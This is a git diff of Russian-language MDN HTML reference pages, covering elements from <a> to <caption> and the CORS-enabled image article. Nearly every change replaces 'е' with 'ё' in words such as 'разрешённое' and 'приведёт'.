            Ниже приведен полный список всех блочных элементов (хотя формально понятие «блочный» не применяется к новым элементам в HTML5).
            
+
            Ниже приведён полный список всех блочных элементов (хотя формально понятие «блочный» не применяется к новым элементам в HTML5).
            
 
 
            
 
            
diff --git a/files/ru/web/html/cors_enabled_image/index.html b/files/ru/web/html/cors_enabled_image/index.html
index 5c36131100..1a2ccf817e 100644
--- a/files/ru/web/html/cors_enabled_image/index.html
+++ b/files/ru/web/html/cors_enabled_image/index.html
@@ -31,7 +31,7 @@ translation_of: Web/HTML/CORS_enabled_image
  
          • Вызов {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} на canvas
            •
          -

          Попытка обратиться к ним, когда холст испорчен, приведет к возникновению ошибки безопасности SecurityError. Это защищает пользователей от доступа к личным данным с помощью изображений для извлечения информации с удаленных веб-сайтов без разрешения.

          +

          Попытка обратиться к ним, когда холст испорчен, приведёт к возникновению ошибки безопасности SecurityError. Это защищает пользователей от доступа к личным данным с помощью изображений для извлечения информации с удалённых веб-сайтов без разрешения.

          Хранение изображений из внешнего источника

          @@ -58,7 +58,7 @@ translation_of: Web/HTML/CORS_enabled_image

          Теперь, когда сервер настроен так, чтобы разрешить извлечение изображений из разных источников, мы можем написать код, который позволяет пользователю сохранять их в локальном хранилище, как если бы они обслуживались из того же домена, на котором выполняется код.

          -

          Ключевым моментом является использование атрибута {{htmlattrxref("crossorigin")}} путем установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}}  в элементе {{domxref("HTMLImageElement")}} , на который будет загружено изображение. Это даёт браузеру команду на запрос доступа к другому источнику при попытке загрузить данные изображения.

          +

          Ключевым моментом является использование атрибута {{htmlattrxref("crossorigin")}} путём установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}}  в элементе {{domxref("HTMLImageElement")}} , на который будет загружено изображение. Это даёт браузеру команду на запрос доступа к другому источнику при попытке загрузить данные изображения.

          Запуск загрузки

          diff --git a/files/ru/web/html/element/a/index.html b/files/ru/web/html/element/a/index.html index dff65ceb59..23d1ab1ea8 100644 --- a/files/ru/web/html/element/a/index.html +++ b/files/ru/web/html/element/a/index.html @@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/a
          {{htmlattrdef("methods")}} {{Non-standard_inline}}
          Значение этого атрибута предоставляет информацию о функциях, которые могут быть выполнены на объекте. Обычно значения даны HTTP-протоколом, когда он использован, но может (для похожих целей, как для атрибута title) быть полезным для включения контрольной информации в ссылке. Например, браузер может выбрать другой тип рендеринга для ссылки как функцию определённых методов; что-то, что может быть найдено, может иметь другую иконку, или внешняя ссылка может получить индикатор перехода с текущего сайта. Этот элемент не понимается или не поддерживается полностью даже браузером Internet Explorer 4, который определил этот атрибут. Значения methods (MSDN).
          {{htmlattrdef("urn")}} {{Non-standard_inline}}
          -
          Этот атрибут, предложенный Micosoft, определяет отношения уникального названия ресурса (URN) с ссылкой. Хотя он основан на стандартах работы нескольких лет назад, значение URN всё еще не определено полностью, поэтому этот атрибут не имеет значения. Значения urn (MSDN).
          +
          Этот атрибут, предложенный Micosoft, определяет отношения уникального названия ресурса (URN) с ссылкой. Хотя он основан на стандартах работы нескольких лет назад, значение URN всё ещё не определено полностью, поэтому этот атрибут не имеет значения. Значения urn (MSDN).

          Примеры

          @@ -308,7 +308,7 @@ document.body.appendChild(link);

          Совместимость с браузерами

          - +

          {{Compat("html.elements.a")}}

          @@ -379,7 +379,7 @@ document.body.appendChild(link);

          HTML 3.2 включает в себя только name, href, rel, rev и title.

          -

          Атрибут target не работает в браузерах, не поддерживающих фреймы, таких как Netscape 1 generation. Кроме того, target не допускается в «строгих» вариантах XHTML, но разрешен в формах frameset или «переходных» формах.

          +

          Атрибут target не работает в браузерах, не поддерживающих фреймы, таких как Netscape 1 generation. Кроме того, target не допускается в «строгих» вариантах XHTML, но разрешён в формах frameset или «переходных» формах.

          Рекомендации по JavaScript

          diff --git a/files/ru/web/html/element/abbr/index.html b/files/ru/web/html/element/abbr/index.html index bafacbbc6e..0baa39703f 100644 --- a/files/ru/web/html/element/abbr/index.html +++ b/files/ru/web/html/element/abbr/index.html @@ -182,5 +182,5 @@ translation_of: Web/HTML/Element/abbr
          • Использование элемента <abbr>
          • Другие элементы, являющиеся семантически текстовыми: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.
            • -
          • Устаревший элемент {{HTMLElement("acronym")}}, который был заменен элементом <abbr>.
            • +
          • Устаревший элемент {{HTMLElement("acronym")}}, который был заменён элементом <abbr>.
          diff --git a/files/ru/web/html/element/acronym/index.html b/files/ru/web/html/element/acronym/index.html index 2f9af89af9..369030b776 100644 --- a/files/ru/web/html/element/acronym/index.html +++ b/files/ru/web/html/element/acronym/index.html @@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/acronym
          • Некоторые, например, Internet Explorer, не стилизуют его, и он выглядит неотличимо от обычного {{HTMLElement("span")}}.
            • -
          • Opera, Firefox и некоторые други браузеры подчеркивают его точками.
            • +
          • Opera, Firefox и некоторые други браузеры подчёркивают его точками.
          • Малая часть браузеров помимо подчёркивания точками также меняют начертание текста на капитель (small caps). Во избежание такого поведения, как вариант, необходимо добавить {{cssxref('font-variant')}}: none в CSS стиль.
          diff --git a/files/ru/web/html/element/address/index.html b/files/ru/web/html/element/address/index.html index 2378f1c42d..db0b3f3713 100644 --- a/files/ru/web/html/element/address/index.html +++ b/files/ru/web/html/element/address/index.html @@ -11,7 +11,7 @@ translation_of: Web/HTML/Element/address ---

          {{HTMLRef}}

          -

          HTML- тег <address>  задает контактные данные для ближайшего родительского {{HTMLElement("article")}} или {{HTMLElement("body")}} ; В последнем случае применяется ко всему документу, визуально выделяется курсивом.

          +

          HTML- тег <address>  задаёт контактные данные для ближайшего родительского {{HTMLElement("article")}} или {{HTMLElement("body")}} ; В последнем случае применяется ко всему документу, визуально выделяется курсивом.

          Примечание:

          @@ -70,7 +70,7 @@ translation_of: Web/HTML/Element/address

          Image:HTML-address.png

          -

          Помимо элемента {{HTMLElement("address")}}, с такими же стандартными стилями как и он текст отображают {{HTMLElement("i")}} или {{HTMLElement("em")}} элементы, более правильно использовать его, когда имеете дело с контактной информацией, так как он передает дополнительную семантическую информацию.

          +

          Помимо элемента {{HTMLElement("address")}}, с такими же стандартными стилями как и он текст отображают {{HTMLElement("i")}} или {{HTMLElement("em")}} элементы, более правильно использовать его, когда имеете дело с контактной информацией, так как он передаёт дополнительную семантическую информацию.

          Спецификации

          diff --git a/files/ru/web/html/element/applet/index.html b/files/ru/web/html/element/applet/index.html index 8ff6d23951..2051209ae0 100644 --- a/files/ru/web/html/element/applet/index.html +++ b/files/ru/web/html/element/applet/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/applet

          Элемент HTML апплет (<applet>) определяет включение апплета java.

          -

          Примечание: {{htmlelement("applet")}} элемент был удален в Gecko 56 и Chrome в конце 2015 года. Удаление рассматривается в WebKit и Edge.

          +

          Примечание: {{htmlelement("applet")}} элемент был удалён в Gecko 56 и Chrome в конце 2015 года. Удаление рассматривается в WebKit и Edge.

          Атрибуты

          diff --git a/files/ru/web/html/element/area/index.html b/files/ru/web/html/element/area/index.html index c161b623e6..052718aaaa 100644 --- a/files/ru/web/html/element/area/index.html +++ b/files/ru/web/html/element/area/index.html @@ -3,7 +3,7 @@ title: slug: Web/HTML/Element/area translation_of: Web/HTML/Element/area --- -
          HTML <area> элемент определяет активную область на изображении и, при желании, связывает ее с {{Glossary("Hyperlink", "гипертекстовой ссылкой")}}. Этот элемент используется только внутри элемента {{HTMLElement("map")}}.
          +
          HTML <area> элемент определяет активную область на изображении и, при желании, связывает её с {{Glossary("Hyperlink", "гипертекстовой ссылкой")}}. Этот элемент используется только внутри элемента {{HTMLElement("map")}}.
          {{EmbedInteractiveExample("pages/tabbed/area.html", "tabbed-taller")}}
          @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/area Элементы потока, фразового контента. - Разрешенное содержимое + Разрешённое содержимое Нет, это {{Glossary("пустой элемент")}}. @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/area - Разрешенные роли ARIA + Разрешённые роли ARIA Нет @@ -53,12 +53,12 @@ translation_of: Web/HTML/Element/area
          {{htmlattrdef("alt")}}
          -
          С помощью этого атрибута задается альтернативный текст, описывающий изображение, если оно не доступно. Он должен быть сформулирован так, чтобы предоставить пользователю тот же выбор, что и изображение, которое отрисуется без альтернативного текста. В HTML4 данный атрибут обязателен, но так же может содержать и пустую строку (""). В HTML5 этот атрибут обязателен только при наличии атрибута href.
          +
          С помощью этого атрибута задаётся альтернативный текст, описывающий изображение, если оно не доступно. Он должен быть сформулирован так, чтобы предоставить пользователю тот же выбор, что и изображение, которое отрисуется без альтернативного текста. В HTML4 данный атрибут обязателен, но так же может содержать и пустую строку (""). В HTML5 этот атрибут обязателен только при наличии атрибута href.
          {{htmlattrdef("coords")}}
          -
          Задает значения координат для активной области. Значение и количество значений зависят от значения указанного для атрибута shape. Для rect или прямоугольника задаются две пары значений x,y coords: лево, верх, право и низ. Для circle, значения x,y,r где x,y координаты центра круга, а r радиус. Для poly или многоугольника, значения задаются парой x и y для каждой вершины многоугольника: x1,y1,x2,y2,x3,y3, и т.д. В HTML4 значения задаются в пикселях или процентах, когда добавлен знак (%); в HTML5, значения — величины в пикселях.
          +
          Задаёт значения координат для активной области. Значение и количество значений зависят от значения указанного для атрибута shape. Для rect или прямоугольника задаются две пары значений x,y coords: лево, верх, право и низ. Для circle, значения x,y,r где x,y координаты центра круга, а r радиус. Для poly или многоугольника, значения задаются парой x и y для каждой вершины многоугольника: x1,y1,x2,y2,x3,y3, и т.д. В HTML4 значения задаются в пикселях или процентах, когда добавлен знак (%); в HTML5, значения — величины в пикселях.
          {{htmlattrdef("download")}} {{HTMLVersionInline("5")}}
          Этот атрибут, если он добавлен, указывает, что ссылка используется для скачивания файла. Смотри {{HTMLElement("a")}} для полного описания атрибута {{htmlattrxref("download", "a")}}.
          diff --git a/files/ru/web/html/element/article/index.html b/files/ru/web/html/element/article/index.html index 88bb5e5a48..b77f6dec57 100644 --- a/files/ru/web/html/element/article/index.html +++ b/files/ru/web/html/element/article/index.html @@ -29,7 +29,7 @@ translation_of: Web/HTML/Element/article Основной поток, секционный контент, явный контент. - Разрешенное содержимое + Разрешённое содержимое Основной поток. @@ -37,11 +37,11 @@ translation_of: Web/HTML/Element/article Ни одного; Оба тега, открывающий и закрывающий, являются обязательными. - Разрешенные родительские элементы + Разрешённые родительские элементы Любой элемент, который разрешает контент основного потока в качестве содержимого. Обратите внимание, что элемент <article> не должен быть потомком элемента {{HTMLElement("address")}}. - Разрешенные ARIA роли + Разрешённые ARIA роли {{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("main")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}} @@ -58,7 +58,7 @@ translation_of: Web/HTML/Element/article

          Примечание

            -
          • Каждый элемент <article> должен быть идентифицирован, обычно путем добавления заголовка (элементы <h1>-<h6>) в качестве дочернего элемента.
            • +
          • Каждый элемент <article> должен быть идентифицирован, обычно путём добавления заголовка (элементы <h1>-<h6>) в качестве дочернего элемента.
          • Когда элемент <article> является вложенным, внутренний элемент представляет собой контент связанный с внешним элементом. Например, комментарии к публикации в блоге могут быть элементами <article>, вложенными в другой <article>, являющийся публикацией в блоге.
          • Информация об авторе в элементе <article> может быть представлена через элемент {{HTMLElement("address")}}, но это не применимо к вложенным элементам <article>.
          • Дата и время публикации в элементе <article> могут быть описаны с помощью атрибута {{htmlattrxref("datetime", "time")}} элемента {{HTMLElement("time")}}. Обратите внимание, что атрибут {{htmlattrxref("pubdate", "time")}} элемента {{HTMLElement("time")}} больше не является частью стандарта {{glossary("W3C")}} {{glossary("HTML5")}}.
            • diff --git a/files/ru/web/html/element/aside/index.html b/files/ru/web/html/element/aside/index.html index 20c210ff79..02cc80bdeb 100644 --- a/files/ru/web/html/element/aside/index.html +++ b/files/ru/web/html/element/aside/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/aside ---
            {{HTMLRef}}
            -

            HTML-элемент <aside> представляет собой часть документа, чье содержимое только косвенно связанно с основным содержимым документа. Чаще всего представлен в виде боковой панели, сносок или меток.

            +

            HTML-элемент <aside> представляет собой часть документа, чьё содержимое только косвенно связанно с основным содержимым документа. Чаще всего представлен в виде боковой панели, сносок или меток.

            {{EmbedInteractiveExample("pages/tabbed/aside.html", "tabbed-standard")}}
            @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/aside Основной поток, секционный контент, явный контент. - Разрешенное содержимое + Разрешённое содержимое Основной поток. @@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/aside Ни одного; Оба тега, открывающий и закрывающий, являются обязательными. - Разрешенные родительские элементы + Разрешённые родительские элементы Любой элемент, который разрешает контент основного потока в качестве содержимого. Обратите внимание, что элемент <aside> не должен быть потомком элемента {{HTMLElement("address")}}. - Разрешенные роли ARIA + Разрешённые роли ARIA {{ARIARole("feed")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}} diff --git a/files/ru/web/html/element/audio/index.html b/files/ru/web/html/element/audio/index.html index aae3df398d..b9ab8f0521 100644 --- a/files/ru/web/html/element/audio/index.html +++ b/files/ru/web/html/element/audio/index.html @@ -27,7 +27,7 @@ translation_of: Web/HTML/Element/audio -

            Приведенный выше пример показывает простое использование элемента <audio>. По аналогии с элементом {{htmlelement("img")}} мы добавляем путь к мультимедиа, которое мы хотим встроить, в атрибут src. Мы можем добавить другие атрибуты, чтобы указать сведения, такие как автовоспроизведение и повтор, хотим ли мы отображать стандартные элементы управления звуком браузера и т.д.

            +

            Приведённый выше пример показывает простое использование элемента <audio>. По аналогии с элементом {{htmlelement("img")}} мы добавляем путь к мультимедиа, которое мы хотим встроить, в атрибут src. Мы можем добавить другие атрибуты, чтобы указать сведения, такие как автовоспроизведение и повтор, хотим ли мы отображать стандартные элементы управления звуком браузера и т.д.

            Контент между открывающим и закрывающим тегами элемента <audio> (в примере выше) отображается в браузерах, которые не поддерживают этот элемент.

            @@ -57,8 +57,8 @@ translation_of: Web/HTML/Element/audio
            {{htmlattrdef("autoplay")}}
            -
            Атрибут логического типа. Если он указан, аудио начнет автоматически воспроизводиться, как только сможет это сделать, не дожидаясь завершения загрузки всего файла. -
            Заметка: Сайты, которые автоматически проигрывают аудио (или видео с аудиодорожкой) могут быть неприятными для пользователей, поэтому этого следует по возможности избегать. Если вам необходимо предлагать функцию автовоспроизведения, то вы должны сделать ее Opt-in (вид подписки), то есть когда пользователь специально (сам) включил ее. Тем не менее, это может быть полезно, при создании элементов мультимедиа, чей источник будет установлен позднее под контролем пользователя.
            +
            Атрибут логического типа. Если он указан, аудио начнёт автоматически воспроизводиться, как только сможет это сделать, не дожидаясь завершения загрузки всего файла. +
            Заметка: Сайты, которые автоматически проигрывают аудио (или видео с аудиодорожкой) могут быть неприятными для пользователей, поэтому этого следует по возможности избегать. Если вам необходимо предлагать функцию автовоспроизведения, то вы должны сделать её Opt-in (вид подписки), то есть когда пользователь специально (сам) включил её. Тем не менее, это может быть полезно, при создании элементов мультимедиа, чей источник будет установлен позднее под контролем пользователя.
            {{htmlattrdef("controls")}}
            Если этот атрибут присутствует, браузер предложит элементы управления, позволяющие пользователю управлять воспроизведением аудио, в том числе громкостью, перемоткой и паузой.
            @@ -76,10 +76,10 @@ translation_of: Web/HTML/Element/audio
            {{htmlattrdef("loop")}}
            Атрибут логического типа. Если он указан, проигрыватель будет автоматически возвращаться в начало при достижении конца аудио.
            {{htmlattrdef("muted")}}
            -
            Атрибут логического типа, который указывает, будет ли звук изначально отключен. Значением по умолчанию является false.
            +
            Атрибут логического типа, который указывает, будет ли звук изначально отключён. Значением по умолчанию является false.
            {{htmlattrdef("preload")}}
            -

            Этот атрибут предназначен для того, чтобы указать браузеру, что, по мнению автора, приведет к лучшему взаимодействию с пользователем. Он может иметь одно из следующих значений:

            +

            Этот атрибут предназначен для того, чтобы указать браузеру, что, по мнению автора, приведёт к лучшему взаимодействию с пользователем. Он может иметь одно из следующих значений:

            • none: указывает, что аудио не должно предварительно загружаться;
              • @@ -144,7 +144,7 @@ translation_of: Web/HTML/Element/audio

              Элемент <audio> с множеством элементов <source>

              -

              Этот пример включает множество элементов <source>. Браузер попытается загрузить источник из первого элемента <source> (Opus), если он не в состоянии воспроизвести его, тогда он перейдет ко второму (Vorbis) и, наконец, к третьему (MP3), если все предыдущие по каким-либо причинам не могут быть воспроизведены браузером:

              +

              Этот пример включает множество элементов <source>. Браузер попытается загрузить источник из первого элемента <source> (Opus), если он не в состоянии воспроизвести его, тогда он перейдёт ко второму (Vorbis) и, наконец, к третьему (MP3), если все предыдущие по каким-либо причинам не могут быть воспроизведены браузером:

              <audio controls="">
  <source src="foo.opus" type="audio/ogg; codecs=opus"/>
@@ -191,7 +191,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi
    Потоковый контент, фразовый контент, встроенный контент. Если элемент имеет атрибут controls, он так же принадлежит к категориям интерактивного и явного контента.
   
   
-   Разрешенное содержимое
+   Разрешённое содержимое
    Если элемент имеет атрибут src: ноль или более элементов {{HTMLElement("track")}}, за которыми следует прозрачный контентет, который не содержит элементов <audio> или {{HTMLElement("video")}}.
              
     Иначе: ноль или более элементов {{HTMLElement("source")}}, за которыми следует ноль или более элементов {{HTMLElement("track")}}, за которыми следует прозрачный контент, который не содержит элементов <audio> или {{HTMLElement("video")}}.
   
@@ -200,7 +200,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi
    Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
   
   
-   Разрешенные родительские элементы
+   Разрешённые родительские элементы
    Любой элемент, который разрешает встроенный контент в качестве содержимого.
   
   
diff --git a/files/ru/web/html/element/b/index.html b/files/ru/web/html/element/b/index.html
index 89cdf625ec..fedf3d4031 100644
--- a/files/ru/web/html/element/b/index.html
+++ b/files/ru/web/html/element/b/index.html
@@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/b
    Flow content, phrasing content, palpable content.
   
   
-   Разрешенный контент
+   Разрешённый контент
    Phrasing content.
   
   
diff --git a/files/ru/web/html/element/bdi/index.html b/files/ru/web/html/element/bdi/index.html
index daf089fa86..ef7c7aa44b 100644
--- a/files/ru/web/html/element/bdi/index.html
+++ b/files/ru/web/html/element/bdi/index.html
@@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/bdi
 
 
              Этот элемент полезен при встраивании текста с неизвестным направлением (например, из базы данных) внутрь текста с заданным направлением.
              
 
-
              Хотя тот же эффект может быть достигнут применением CSS правила {{cssxref("unicode-bidi")}}: isolate к элементу {{HTMLElement("span")}} или другому элементу форматирования текста, семантическое значение передается только с помощью элемента <bdi>. Тем более, что браузеры могут игнорировать стили. В этом случае, текст будет отображен корректно при использовании HTML элемента, и некорректно при использовании только CSS стилей.
              
+
              Хотя тот же эффект может быть достигнут применением CSS правила {{cssxref("unicode-bidi")}}: isolate к элементу {{HTMLElement("span")}} или другому элементу форматирования текста, семантическое значение передаётся только с помощью элемента <bdi>. Тем более, что браузеры могут игнорировать стили. В этом случае, текст будет отображён корректно при использовании HTML элемента, и некорректно при использовании только CSS стилей.
              
 
 
diff --git a/files/ru/web/html/element/blockquote/index.html b/files/ru/web/html/element/blockquote/index.html
index d8a3b73dc2..d6dfdd2d18 100644
--- a/files/ru/web/html/element/blockquote/index.html
+++ b/files/ru/web/html/element/blockquote/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/blockquote
 ---
 
              Описание
              
 
-
              HTML-элемент <blockquote> (от англ. Block Quotation) указывает на то, что заключенный в нем текст является развернутой цитатой. Обычно он (текст) визуально выделяется наклонным (смотри Примечание, где говорится о том, как это изменить). URI на источник цитаты можно указать в атрибуте cite, тогда как текстовое представление источника может быть задано элементом {{HTMLElement("cite")}}.
              
+
              HTML-элемент <blockquote> (от англ. Block Quotation) указывает на то, что заключённый в нем текст является развёрнутой цитатой. Обычно он (текст) визуально выделяется наклонным (смотри Примечание, где говорится о том, как это изменить). URI на источник цитаты можно указать в атрибуте cite, тогда как текстовое представление источника может быть задано элементом {{HTMLElement("cite")}}.
              {{EmbedInteractiveExample("pages/tabbed/blockquote.html","tabbed-standard")}}
              
 
diff --git a/files/ru/web/html/element/body/index.html b/files/ru/web/html/element/body/index.html
index 8c2cacdfe0..f18863b449 100644
--- a/files/ru/web/html/element/body/index.html
+++ b/files/ru/web/html/element/body/index.html
@@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/body
    
-   
+   
@@ -32,11 +32,11 @@ translation_of: Web/HTML/Element/body
    
-   
+   
-   
+   
@@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/body
  
              {{htmlattrdef("onpopstate")}}
              Функция для вызова, когда пользователь осуществил управление историей сеанса.
              {{htmlattrdef("onredo")}}
              
- 
              Функция для вызова, когда произошло продвижение пользователя вперед по истории транзакций (например, обновление страницы).
              
+ 
              Функция для вызова, когда произошло продвижение пользователя вперёд по истории транзакций (например, обновление страницы).
              {{htmlattrdef("onresize")}}
              Функция для вызова, когда размер документа был изменен.
              {{htmlattrdef("onstorage")}}
              
@@ -111,7 +111,7 @@ translation_of: Web/HTML/Element/body
  
              {{htmlattrdef("topmargin")}} {{obsolete_inline}}
              Отступ от верхнего края элемента <body>. Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("margin-top")}}.
              {{htmlattrdef("vlink")}} {{obsolete_inline}}
              
- 
              Цвет текста посещенной гипертекстовой ссылки. Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":visited")}}.
              
+ 
              Цвет текста посещённой гипертекстовой ссылки. Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":visited")}}.
              Пример
              
@@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/body
   
-   
+   
diff --git a/files/ru/web/html/element/br/index.html b/files/ru/web/html/element/br/index.html
index f088017482..5bf34e89d2 100644
--- a/files/ru/web/html/element/br/index.html
+++ b/files/ru/web/html/element/br/index.html
@@ -64,7 +64,7 @@ USA<br>
                
  
              • Категории контента Основной поток, текстовый контент.
                • 
- 
              • Разрешенное содержимое Отсутствует, это {{Glossary("пустой элемент")}}.
                • 
+ 
              • Разрешённое содержимое Отсутствует, это {{Glossary("пустой элемент")}}.
                • 
  
              • Пропуск теговДолжен иметь открывающий тег, но не закрывающий тег. В XHTML документах элемент пишется как <br />.
                • 
  
              • Допустимые родительские элементы Любой элемент, который поддерживает текстовый контент.
                • 
  
              • Интерфейс DOM {{domxref("HTMLBRElement")}}
                • 
diff --git a/files/ru/web/html/element/button/index.html b/files/ru/web/html/element/button/index.html
index 78cd1a07f7..61b3f30109 100644
--- a/files/ru/web/html/element/button/index.html
+++ b/files/ru/web/html/element/button/index.html
@@ -12,7 +12,7 @@ original_slug: Web/HTML/Element/кнопка
 ---
 
                Описание
                
 
-
                HTML-элемент <button> создает кликабельную кнопку, которая может быть использована в формах или в любом другом месте документа, который требует простой, стандартной кнопки. По умолчанию, кнопки HTML обычно представлены в стиле, аналогичном стилю хост-платформы, на которой работает {{Glossary ("user agent")}}, но вы можете изменить внешний вид кнопки, используя CSS.
                
+
                HTML-элемент <button> создаёт кликабельную кнопку, которая может быть использована в формах или в любом другом месте документа, который требует простой, стандартной кнопки. По умолчанию, кнопки HTML обычно представлены в стиле, аналогичном стилю хост-платформы, на которой работает {{Glossary ("user agent")}}, но вы можете изменить внешний вид кнопки, используя CSS.
                
 
 
 
@@ -60,18 +60,18 @@ original_slug: Web/HTML/Element/кнопка
  
                {{htmlattrdef("autofocus")}} {{HTMLVersionInline(5)}}
                
  
                Данный булевый атрибут позволяет указать, будет ли кнопка автоматически сфокусирована после загрузки страницы, до тех пор, пока пользователь не изменит фокус в ручную, например выбрав другой элемент. Только один связанный с формой элемент в документе может иметь данный атрибут.
                
  
                {{htmlattrdef("autocomplete")}} {{non-standard_inline}}
                
- 
                Использование данного атрибута на элементе <button> не описано в стандарте и используется только в Firefox браузере. По умолчанию, в отличие от прочих браузеров, Firefox сохраняет назначенное динамически отключенное состояние для элемента <button> при последующих загрузках страницы. Установка для данного атрибута значения off отключает подобное поведение. Смотрите {{bug(654072)}}.
                
+ 
                Использование данного атрибута на элементе <button> не описано в стандарте и используется только в Firefox браузере. По умолчанию, в отличие от прочих браузеров, Firefox сохраняет назначенное динамически отключённое состояние для элемента <button> при последующих загрузках страницы. Установка для данного атрибута значения off отключает подобное поведение. Смотрите {{bug(654072)}}.
                
  
                {{htmlattrdef("disabled")}}
                
  
                
  
                Булевый атрибут, указывающий, что пользователь не может взаимодействовать с кнопкой. Если атрибут не установлен, то кнопка наследует его от элемента-контейнера, в котором она расположена, например от {{HTMLElement("fieldset")}}; если отсутствует элемент-контейнер, с установленным атрибутом disabled, то кнопка доступна для взаимодействия.
                
 
- 
                Firefox по умолчанию, в отличие от прочих браузеров, сохраняет назначенное динамически отключенное состояние для элемента <button>, даже при обновлении страницы. Чтобы изменить поведение браузера в этом случае, используйте атрибут {{htmlattrxref("autocomplete","button")}}.
                
+ 
                Firefox по умолчанию, в отличие от прочих браузеров, сохраняет назначенное динамически отключённое состояние для элемента <button>, даже при обновлении страницы. Чтобы изменить поведение браузера в этом случае, используйте атрибут {{htmlattrxref("autocomplete","button")}}.
                
  
                
  
                {{htmlattrdef("form")}} {{HTMLVersionInline(5)}}
                
  
                Атрибут form позволяет указать элемент {{HTMLElement("form")}}, с которым связана кнопка. Данный атрибут должен хранить значение id элемента {{HTMLElement("form")}}. Если данный атрибут не установлен, то элемент <button> будет связан с родительским элементом {{HTMLElement("form")}}, если последний существует.
                
  
                Атрибут работает независимо от расположения элементов в документе, поэтому он позволяет связать элемент <button> с формой, даже в случае, если <button> не является наследником элемента {{HTMLElement("form")}}.
                
  
                {{htmlattrdef("formaction")}} {{HTMLVersionInline(5)}}
                
- 
                Ссылка на обработчик формы. Если атрибут определен — он переопределит атрибут {{htmlattrxref("action","form")}} у формы-родителя.
                
+ 
                Ссылка на обработчик формы. Если атрибут определён — он переопределит атрибут {{htmlattrxref("action","form")}} у формы-родителя.
                
  
                {{htmlattrdef("formenctype")}} {{HTMLVersionInline(5)}}
                
  
                Если button имеет тип submit, то этот атрибут определяет тип контента, отправляемого на сервер. Возможные значения данного атрибута:
  
                  
@@ -80,20 +80,20 @@ original_slug: Web/HTML/Element/кнопка
   
                • text/plain
                  • 
  
                
 
- 
                Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("enctype","form")}} у формы-родителя.
                
+ 
                Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("enctype","form")}} у формы-родителя.
                
  
                
  
                {{htmlattrdef("formmethod")}} {{HTMLVersionInline(5)}}
                
  
                Если button имеет тип submit, то этот атрибут определяет метод HTTP-запроса для отправки данных на сервер. Возможные варианты:
  
                  
   
                • post: данные формы включаются в тело сообщения и отправляются на сервер.
                  • 
-  
                • get: данные формы отправляются на сервер в виде ссылки, состоящей из URI атрибута {{htmlattrxref("action","form")}} и непосредственно данных, отделенных знаком '?'. Данные формы будут иметь вид ключ/значение и разделены амперсандом, например name=Name&id=35. Следует использовать этот метод только если нет побочных эффектов и данные формы содержат лишь ASCII-символы.
                  • 
+  
                • get: данные формы отправляются на сервер в виде ссылки, состоящей из URI атрибута {{htmlattrxref("action","form")}} и непосредственно данных, отделённых знаком '?'. Данные формы будут иметь вид ключ/значение и разделены амперсандом, например name=Name&id=35. Следует использовать этот метод только если нет побочных эффектов и данные формы содержат лишь ASCII-символы.
                  • 
  
                
 
- 
                Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("method","form")}} у формы-родителя.
                
+ 
                Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("method","form")}} у формы-родителя.
                
  
                
  
                {{htmlattrdef("formnovalidate")}} {{HTMLVersionInline(5)}}
                
  
                Булевый атрибут. Указывает, что данные формы не будут валидироваться при отправке.
                
- 
                Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("novalidate","form")}} у формы-родителя.
                
+ 
                Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("novalidate","form")}} у формы-родителя.
                
  
                {{htmlattrdef("formtarget")}} {{HTMLVersionInline(5)}}
                
  
                Если button имеет тип submit, этот атрибут является именем или ключевым словом,
  
                указывающим, где отображать ответ, полученный после отправки формы. This is a name of, or keyword for, a browsing context (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the button's form owner. The following keywords have special meanings:
                
diff --git a/files/ru/web/html/element/caption/index.html b/files/ru/web/html/element/caption/index.html
index a0c094c7c8..dfef5ffe40 100644
--- a/files/ru/web/html/element/caption/index.html
+++ b/files/ru/web/html/element/caption/index.html
@@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/caption
    
              
-   
+   
@@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/caption
    
-   
+   
-   
+   
